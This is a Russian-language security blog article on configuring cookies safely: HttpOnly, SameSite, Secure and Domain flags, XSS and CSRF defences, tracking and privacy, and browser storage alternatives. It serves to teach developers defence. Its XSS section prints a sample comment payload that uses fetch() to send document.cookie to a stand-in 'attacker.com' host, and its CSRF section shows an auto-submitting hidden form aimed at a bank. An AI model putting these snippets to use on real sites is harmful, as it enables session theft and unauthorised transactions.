Cookie хранят информацию о действиях пользователей — от данных для входа до настроек и предпочтений. Они помогают сайтам сохранять состояние сессии, обеспечивать персонализацию и реализовывать механизмы безопасности, такие как управление доступом и аутентификация.

В этой статье рассказываем, как правильно настраивать cookie, чтобы снизить риски утечек и сохранить личные данные, деньги и доверие клиентов.

В 2018 году из-за уязвимости в скрипте оплаты на сайте British Airways злоумышленники украли данные о 380 000 транзакций, включая платежные данные и личную информацию клиентов. Одна из причин — неправильная настройка сессионных cookie, из-за чего злоумышленники смогли перехватить сессии пользователей и получить доступ к их данным. В результате компания получила штраф в 20 миллионов фунтов и потеряла доверие клиентов.

Если cookie неправильно настроены, злоумышленники могут перехватить сессии или украсть личные данные.

Как безопасно работать с cookie: настройка флагов, параметров и другие методы защиты

4 июня 2025

20 минут

эксперт в информационной безопасности в Start X

Андрей Жаркевич

автор, редактор в ИБ, главная по фактчекингу в компании

Ульяна Крюкова

автор, редактор в ИБ, главная по фактчекингу в компании

Ульяна Крюкова

эксперт в информационной безопасности в Start X

Андрей Жаркевич

Что такое cookie, и зачем их используют

Cookie (куки) — данные, которые сайты сохраняют на устройстве пользователя и которые позволяют им «запоминать» информацию.

Обычно куки используют для:

авторизации;
персонализации — например, чтобы запомнить язык интерфейса или сохранить темную тему;
отслеживания состояния сессии пользователя;
сохранения информации о товарах, которые кладут в корзину интернет-магазина.

Куки — часть HTTP-протокола и передаются между сервером и браузером в виде HTTP-заголовков. То, как создаются, передаются и обрабатываются куки, описано в спецификации RFC 6265 — официальном стандарте, который регулирует их работу в интернете.

Веб-сервер устанавливает куки при помощи заголовка Set-Cookie:

Set-Cookie: sessionId=abc123; Path=/; Expires=Wed, 21 Oct 2025 07:28:00 GMT;

Браузер сохраняет полученные от сервера cookie прямо на устройстве. Когда человек снова заходит на сайт, сервер читает эти данные из cookie, чтобы узнать, был ли пользователь авторизован, какие настройки шрифта он выбрал в читалке электронных книг и другие параметры.

Потом браузер будет автоматически добавлять куки почти в каждый запрос на тот же домен.

Допустим, сервер использует cookie, чтобы распознавать, кто уже вошел в систему:

Человек вводит логин и пароль на странице входа — данные отправляются на сервер.
Сервер проверяет их и, если все верно, отвечает страницей с подтверждением входа — к ответу добавляет cookie с идентификатором сессии. Эта cookie может быть действительна только для текущей сессии браузера, а может быть настроена на длительное хранение.
После этого при каждом открытии страницы браузер автоматически прикрепляет cookie к запросу. Сервер сверяет идентификатор с базой: если все совпадает, считает, что с ним снова связался тот же человек.

Такой метод применяют большинство сайтов, где требуется авторизация.

Скачайте карту знаний и навыков по безопасной разработке

В ней — 13 уязвимостей и технологий, которые нужно знать разработчику, чтобы писать безопасный код

Скачать

Безопасная настройка cookie: флаги HttpOnly, SameSite и Secure

Технология куки помогает сохранять данные, но чтобы защитить их от несанкционированного доступа, нужны дополнительные меры.

Именно поэтому разработчики придумали специальные флаги, которые добавляются к файлам куки и помогают предотвратить их использование злоумышленниками.

HttpOnly

Параметр HttpOnly блокирует доступ к cookie из JavaScript. Такие файлы нельзя прочитать через document. cookie и изменить с помощью document.cookie.

Этот флаг помогает защитить cookie от кражи при XSS-атаках. Если человек открывает вредоносную страницу с JavaScript-кодом хакера, код выполняется и получает доступ к document.cookie. В том числе и к cookie пользователя, которые могут содержать данные для входа в систему.

Если браузер, который поддерживает HttpOnly, обнаруживает cookie с флагом HttpOnly, в document. cookie передается пустая строка. Таким образом, вредоносный код не сможет прочитать и отправить содержимое из cookie на сайт злоумышленника, даже в случае успешной XSS-атаки.

Когда использовать
Флаг HttpOnly нужно использовать для всех куки, которые содержат чувствительную информацию, например для:

токенов приложений,
данных об аккаунтах,
сессий авторизации.

В C# значение куки можно задать с помощью метода Append у Response. Cookie:

Response.Cookies.Append("key", "value", new CookieOptions { HttpOnly = true });

Телеграм-канал Start X

Наши разборы мошеннических схем поймет даже бабушка

SameSite

Параметр SameSite позволяет настроить, при каких условиях браузер прикрепляет cookie к межсайтовым запросам. Его используют, чтобы ограничить риск CSRF-атак.

У флага SameSite могут быть такие значения:

strict
Не позволит браузеру отправлять куки на целевой ресурс во всех контекстах межсайтового просмотра, даже при переходе по обычной ссылке.

Флаг strict уместен, например, для банка, так как команда безопасности такой организации, скорее всего, не разрешит ссылаться на транзакционные страницы с внешних сайтов.

А вот для платформ вроде GitHub флаг Strict не подойдет. Если пользователь вошел в систему и перешел по ссылке на частный проект — например, с корпоративного форума или из письма — GitHub не получит cookie сессии. В результате пользователь не сможет открыть проект.

lax
Позволяет сохранить сессию даже при переходе по внешней ссылке — например, из письма или мессенджера. Это вариант удобнее, чем Strict: сайт все еще получает cookie при переходе по внешней ссылке, но защита от типичных атак сохраняется.

В сценарии GitHub, который мы описали выше, сессионный куки будет разрешен при обычном переходе, но заблокирован при использовании методов запроса вроде POST.

none
None не ограничивает отправку куки: браузер будет добавлять их во всех запросах, включая кросс-доменные. Такой режим не защищает от межсайтовых атак. Чтобы использовать SameSite=None, cookie обязательно должна быть помечена как Secure — иначе браузер ее заблокирует.

Значение атрибута SameSite по умолчанию отличается в каждом браузере, поэтому рекомендуем четко задавать значение атрибута. Значения none и lax поддерживаются не всеми браузерами.

Когда использовать
Особенно важно указать SameSite=strict для всех куки, которые содержат чувствительную информацию:

токенов приложений,
данных об аккаунтах,
сессий авторизации.

В некоторых сценариях, как в примере с GitHub и переходом по ссылке, лучше использовать менее строгий вариант — SameSite=lax.

Если куки содержит сведения о текущем языке приложения, можно обойтись SameSite=none.

Установка флага SameSite в программе на C# выполняется аналогично установке флага HttpOnly — с помощью вызова метода Append ():

Response.Cookies.Append("key", "value", new CookieOptions { SameSite = SameSiteMode.Strict });

Secure

По умолчанию куки доступны для одного домена независимо от того, используется HTTP или HTTPS. То есть данные, сохраненные на http://example.com, будут доступны и на https://example.com — и наоборот.

Если включить параметр Secure, браузер начнет отправлять такие cookie только через защищенное соединение. Это значит, что куки, которые установлены на https://example.com, не попадут в запросы на http://example.com. Такой флаг нужно использовать, если в cookie передаются чувствительные данные, например, токены авторизации или сессионные идентификаторы.

Даже если сайт работает по https и перенаправляет пользователей с http на https, куки все равно могут передаться в момент подключения по http — до того, как произойдет перенаправление. После подключения к сети через публичный вай-фай в метро, бизнес-центре или кафе злоумышленник может перехватить данные cookie, которые передаются открытым текстом.

Параметр Secure сам по себе не защищает куки от всех угроз. Он лишь запрещает передачу cookie по незашифрованному протоколу HTTP. Но если злоумышленник получил доступ к компьютеру пользователя или к скриптам на странице, он все еще может прочитать или изменить такую куки — особенно когда не используется параметр HttpOnly.

Когда использовать
Когда через куки передаются чувствительные данные, которые нельзя передавать в виде открытого текста через HTTP-соединение.

Установка флага Secure в программе на Java выполняется аналогично установке флага httpOnly — с помощью вызова функции setHeader:

String sessionid = request.getSession().getId();
response.setHeader("SET-COOKIE", "JSESSIONID=" + sessionid + "; HttpOnly; SameSite=lax; Secure");

Как атрибут Domain влияет на безопасность cookie

Когда сайт создает куки, он может указать, на каких доменах и поддоменах она будет работать. Это настраивается с помощью атрибута domain.

По умолчанию куки доступна только на том домене, где была установлена. Но иногда нужно, чтобы она работала и на поддоменах — в таком случае указывается основной домен. Вот пример настройки атрибута:

Set-Cookie: userId=42; Domain=example.com; Path=/;

Такая куки будет отправляться как для example.com, так и для shop.example.com или blog.example.com.

Атрибут Domain нужно использовать с осторожностью — при неправильной настройке поддомены могут получить доступ к чувствительным данным. В веб-программировании безопасная работа с domain — важная часть защиты куки от утечек.

Как безопасно создать куки на сервере и в браузере

Cookie можно создать на сервере через HTTP-заголовки или в браузере с помощью JavaScript.

Серверная установка через HTTP-заголовок
Когда сервер хочет сохранить файл куки, он добавляет в ответ HTTP-заголовок Set-Cookie:

<?php
setcookie("sessionId", "abc123", time() + 3600, "/", ".example.com", true, true);
?>

Эта куки:

доступна на всех поддоменах .example.com,
передается только по HTTPS (Secure),
недоступна из JavaScript (HttpOnly).

Клиентская установка через JavaScript
На стороне браузера можно программно создать файл куки:

document.cookie = "theme=dark; path=/; expires=Fri, 31 Dec 2025 23:59:59 GMT";

Такие cookie доступны для чтения и изменения из JavaScript, поэтому важные данные лучше передавать через сервер и обязательно указывать флаги Secure и HttpOnly.

Как защититься от XSS и CSRF-атак

Существует несколько основных угроз, которые связаны с куки. Среди них — CSRF и XSS-атаки. Важно использовать специальные флаги и шифрование, чтобы куки оставались безопасными.

XSS-атака (Cross-Site Scripting)
Одна из главных угроз для безопасности куки — XSS-атаки (межсайтовый скриптинг). В этом случае злоумышленник внедряет вредоносный скрипт, который выполняется в браузерах других пользователей.

Если веб-страница плохо защищена и допускает вставку произвольного JavaScript-кода, злоумышленник сможет создать скрипт, который получит доступ к куки через объект document.cookie. После этого он похитит личные данные — например, идентификатор сессии или токен авторизации — и использует их для захвата аккаунта.

Представим, что сайт позволяет оставлять комментарии без проверки и экранирования HTML-кода. Злоумышленник размещает такой комментарий:

<script>
  fetch('https://attacker.com/steal-cookie?data=' + document.cookie);
</script>

Когда другой пользователь откроет страницу с этим комментарием, его браузер выполнит скрипт и отправит содержимое cookie на сервер злоумышленника.

У нас есть несколько рекомендаций, которые помогут защититься от XSS-атак.

Установите флаг HttpOnly. Этот атрибут запрещает доступ к куки через JavaScript. Даже если на сайте есть XSS-уязвимость, document.cookie не сможет прочитать такие файлы.

Установить можно через HTTP-заголовок:

Set-Cookie: sessionId=abc123; HttpOnly; Secure

Экранируйте пользовательский ввод. Все, что отправляется через комментарии или формы, нужно тщательно очищать и экранировать — это помогает защититься от внедрения скриптов. Это помогает защититься от внедрения скриптов. Важно безопасно выводить такие данные на экран, чтобы они интерпретировались как текст, а не как код.

Используйте Content Security Policy (CSP). Это специальный HTTP-заголовок, который ограничивает выполнение скриптов на веб-странице и разрешает только те, что загружены с доверенных источников.

Пример заголовка CSP:

Content-Security-Policy: default-src 'self';

CSRF-атака (Cross-Site Request Forgery)
Еще одна опасность — CSRF-атака, или межсайтовая подделка запроса. В этом случае злоумышленник не крадет куки, а использует их, чтобы выполнять действия от имени пользователя: менять пароли, отправлять сообщения, переводить деньги. И все это даже без его ведома и без захода на сайт.

Рассмотрим, как работает атака CSRF.

Представим, что вы вошли в систему на bank.ru, указали правильный логин и пароль. После этого сервер создал cookie, чтобы узнавать вас при каждом запросе, а браузер автоматически прикрепляет эти куки к запросам на bank.ru. Благодаря этому сервер понимает, что обращается именно к вам, и выполняет финансовые операции от вашего имени.

Тем временем злоумышленник обнаруживает уязвимость и размещает вредоносный код на сторонней странице. Если вы или другой клиент банка откроете такую страницу, скрипт незаметно отправит запрос от вашего имени и переведет деньги мошеннику. Все, что нужно злоумышленнику — привлечь кого-то на эту страницу.

В самом простом случае на странице может содержаться всего одна форма:

<form action="<https://bank.ru/pay>" onload="document.form1.submit()">
…
</form>

Представим, вы просматриваете страницы и случайно переходите на вредоносную — например, на zlo.ru. На странице есть скрытая форма, которая сразу же отправляет запрос на bank.ru, как будто вы переводите деньги на счет злоумышленника.

Браузер автоматически прикрепляет к запросу ваши cookie от bank.ru. Сервер получает запрос, видит их и считает, что это действующий пользователь — вы. В результате банк выполняет перевод, хотя вы даже не видели форму и ничего не нажимали.

В реальной жизни банки, как правило, защищены от такой атаки, хотя могут быть и исключения. Во всех формах, которые генерируются bank.ru, есть специальное поле — «токен защиты от CSRF» — уникальный для сессии текущего пользователя. Если злоумышленник попытается подключиться, для него будет сгенерирован другой токен.

Благодаря этому вредоносная страница не сможет ни подобрать, ни извлечь токен со страницы банка, если на сайте банка нет XSS-уязвимостей и корректно реализован контроль доступа. Даже если zlo.ru передаст данные в форму банка, он не получит ответ, а сервер не выполнит действие без корректного CSRF-токена.

Такая защита требует усилий на ее реализацию: в каждой форме должно быть поле с токеном, нужно проверять все запросы. Кроме того, токен должен быть криптостойким, чтобы злоумышленник не мог его подобрать.

Чтобы не перегружать сервер, токены обычно добавляют только в запросы, которые что-то изменяют (POST, PUT, DELETE). Это могут быть переводы, оплата, смена email или пароля и другие действия.

Но, если на сайте имеются ресурсы, GET-запросы к которым сильно нагружают сервер, CSRF-токен лучше использовать и для них. Это поможет хотя бы частично защититься от DoS/DDoS-атак на уровне приложения (Layer 7).

В этой статье подробно разобрали CSRF-атаки и рассказали, как от них защищаться.

Как работает трекинг через cookie и как обеспечить приватность пользователей

Файлы куки сами по себе — нейтральный способ хранения данных.

Но с их помощью можно отслеживать поведение людей в интернете. Иногда это нужно для удобства — например, чтобы корзина с покупками сохранялась при следующем визите. А иногда куки используют для агрессивного сбора информации и создания маркетинговых профилей без согласия человека.

Сегодня куки активно применяются для:

Сбора информации о посещенных страницах. Сайт может записывать каждую страницу, которую вы открываете, вместе со временем посещения.
Построения профиля интересов. На основе активности человека создавать персонализированные портреты пользователей и затем показывать им релевантную рекламу.
Отслеживания действий между доменами. С помощью внешних рекламных скриптов, таких как, Facebook Pixel или Google Ads, можно установить сторонние cookie (third-party cookies), которые позволяют следить за пользователем даже при переходе между различными веб-ресурсами.

Рассказываем, как обеспечить приватность при работе с куки.

Уведомляйте о cookie. Сайты в большинстве стран обязаны информировать пользователей о сборе данных через куки и получать согласие на их использование. Это требование закреплено, например, в GDPR и ePrivacy Directive в ЕС. Для этого обычно применяют баннеры и всплывающие уведомления.

Ограничьте количество cookie. Лучше хранить только те куки, которые действительно нужны — например, для авторизации или сохранения корзины. Такие данные относят к обязательным, остальные — к дополнительным. Дайте человеку выбор, на какие cookie он согласен — через понятные настройки и четкое разделение обязательных и дополнительных файлов.

Дайте возможность отказаться от трекинга. Браузеры и сайты все чаще поддерживают инструменты для добровольного отказа от отслеживания. В Safari действует Intelligent Tracking Prevention, а Firefox использует Enhanced Tracking Protection — они автоматически ограничивают работу сторонних cookie.

Альтернативы cookie: LocalStorage, SessionStorage и IndexedDB с точки зрения безопасности

Помимо куки, есть и другие варианты хранения данных в браузере.

LocalStorage. Это простой способ сохранить данные в браузере на неопределенный срок. Информация в LocalStorage остается доступной даже после закрытия вкладки или перезагрузки браузера.

Плюсы LocalStorage:

Удобен для хранения пользовательских настроек.
Прост в использовании: всего два метода — setItem и getItem.
Не передается автоматически на сервер при каждом запросе в отличие от куки.

SessionStorage. Похож на LocalStorage, но данные в нем живут только в пределах одной сессии браузера. Как только пользователь закрывает вкладку или окно, вся сохраненная информация удаляется.

Особенности SessionStorage:

Изолирован внутри одной вкладки браузера.
Отлично подходит для временных данных: токены, шаги форм, корзины покупок до оформления.

IndexedDB. Это встроенная в браузер полнофункциональная база данных NoSQL-формата. Подходит, когда нужно хранить действительно большие объемы информации или сложные структуры, например, коллекции объектов.

Плюсы IndexedDB:

Поддерживает хранение больших массивов данных: до сотен мегабайт и больше.
Позволяет строить сложные запросы по ключам и индексам.
Работает асинхронно, что важно для производительности приложений.

Чтобы выбрать подходящий способ хранения, важно знать основные различия:

Безопасная конфигурация куки помогает защититься от распространенных атак. Компании, которые включают HttpOnly, Secure и SameSite, замечают меньше XSS и CSRF-атак. Например, после внедрения этих атрибутов Booking.com за год сократил число успешных XSS-атак на 30%.

Используйте HttpOnly, чтобы запретить доступ к cookie из JavaScript и снизить риск XSS. Применяйте SameSite=Strict или Lax, чтобы ограничить передачу cookie при внешних запросах и защититься от CSRF. Добавляйте Secure, чтобы передавать cookie только по HTTPS и исключить перехват в сети.

На платформе Start EDU на примерах реального кода показываем, как безопасно работать с куки. А еще даем задания на поиск уязвимостей в приложениях с учетом разных языков программирования и фреймворков. Запишитесь на бесплатное демо, и наш эксперт покажет, как Start EDU помогает сразу создавать защищенные продукты.

Что еще почитать

OWASP Top 10: самые опасные уязвимости, через которые хакеры крадут данные

Полный разбор OWASP Top 10: описание уязвимостей, примеры атак и лучшие методы защиты веб-приложений

Безопасность мобильных приложений: пять шагов к защите от уязвимостей

Рассказываем про распространенные уязвимости и даем практические советы, которые помогут защитить приложение

Что такое манипуляция путями и как защитить файловую систему

Рассказываем, как хакеры используют уязвимость Path Traversal для доступа к закрытым файлам, и показываем, как правильно обрабатывать пути в PHP, Python и Java

Подпишитесь на дайджест Start X

Еженедельная подборка материалов и аналитики про цифровые атаки на людей, технологии защиты, безопасность инфраструктуры и приложений

Нажимая кнопку «Отправить заявку» вы соглашаетесь с политикой обработки персональных данных.